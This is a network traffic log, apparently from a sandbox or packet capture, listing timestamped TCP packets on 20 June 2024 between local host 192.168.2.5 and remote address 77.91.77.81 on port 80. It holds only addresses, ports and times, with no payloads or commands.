Jun 20, 2024 15:38:19.334475040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.334475040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.334511042 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.334526062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.334541082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.334557056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.334584951 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.334584951 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.334614038 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.346708059 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.346770048 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.351430893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.351600885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352238894 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352272987 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352305889 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352319956 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352319956 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352358103 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352360964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352392912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352420092 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352437973 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352444887 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352479935 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352530003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352562904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352564096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352596045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352598906 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352633953 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352647066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352647066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352669001 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352703094 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352721930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352721930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352735996 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352751017 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352788925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352806091 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352823019 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352858067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352894068 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352904081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352904081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352929115 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.352955103 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.352962017 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.353014946 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.353043079 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.353049994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.353085041 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.353099108 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.353099108 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.353120089 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.353143930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.353153944 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.353187084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.353200912 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.353200912 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.353250027 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.359570026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.359602928 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.359637022 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.359637022 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.359683037 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.359702110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.359766006 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.359798908 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.359816074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.359833956 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.359858990 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.359869003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.359900951 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.359941006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389487028 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389542103 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389548063 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389575005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389620066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389620066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389627934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389683008 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389717102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389720917 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389736891 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389750957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389780045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389805079 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389827967 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389838934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389859915 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389874935 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389894962 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389928102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389949083 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389962912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.389977932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.389997005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390042067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390042067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390048981 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390100002 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390132904 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390149117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390149117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390167952 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390199900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390218019 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390218019 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390234947 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390273094 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390284061 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390306950 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390341043 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390352964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390352964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390373945 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390407085 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390415907 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390415907 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390440941 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390474081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390489101 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390489101 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390511036 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390527964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390546083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390563965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390579939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390615940 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390625000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390625000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390686035 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390744925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390803099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390811920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390841961 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390886068 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390886068 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390893936 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390928984 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.390975952 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.390981913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.391031981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.391031981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.391033888 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.391067982 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.391100883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.391110897 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.391110897 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.391134024 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.391168118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.391180992 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.391180992 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.391201973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.391247034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.391247034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.392782927 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.392837048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.392869949 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.392874002 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.392918110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.392918110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.392920971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.392956018 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.392988920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.393008947 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.393008947 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.393023968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.393039942 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.393089056 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.416760921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.416812897 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.416847944 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.416862965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.416883945 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.416917086 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.416924000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.416924000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.416966915 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.416970968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417007923 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417042017 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417045116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417045116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417077065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417110920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417133093 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417133093 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417162895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417186022 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417196989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417229891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417239904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417239904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417263985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417300940 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417316914 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417324066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417354107 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417387962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417406082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417406082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417419910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417438030 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417454004 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417488098 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417505026 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417505026 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417521954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.417534113 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.417675972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.419838905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.419874907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.419926882 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.419933081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.419933081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.419960976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.419986010 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.419995070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.420030117 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.420038939 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.420038939 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.420063972 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.420077085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.420123100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.420128107 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.420259953 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.438570976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438608885 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438647985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438671112 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.438671112 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.438702106 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438707113 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.438739061 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438791990 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438827991 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438855886 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.438855886 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.438860893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438874006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.438915968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438946962 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.438950062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.438966036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439023018 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439026117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439064026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439080000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439100027 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439133883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439166069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439188004 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439188004 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439202070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439217091 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439238071 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439239025 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439273119 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439307928 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439332008 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439340115 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439373970 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439390898 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439390898 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439408064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439414978 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439448118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439481974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439516068 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439517975 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439552069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439567089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439567089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439589977 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.439647913 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.439779043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.445877075 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.445934057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.445940971 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.445971966 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.446013927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.446013927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.446482897 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.446517944 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.446535110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.446552038 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.446588039 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.446600914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.446600914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.446629047 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.446644068 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.446695089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.475960970 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476013899 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476049900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476062059 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476062059 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476083994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476126909 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476126909 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476182938 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476234913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476278067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476294041 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476337910 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476337910 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476579905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476632118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476665974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476667881 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476696968 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476702929 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476752996 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476752996 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476758003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476793051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476804018 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476845026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476891994 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476891994 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476897001 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476932049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476964951 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.476969957 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476969957 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.476999998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477024078 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477051020 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477097988 CEST	49718	80	192.168.2.5	77.91.77.81
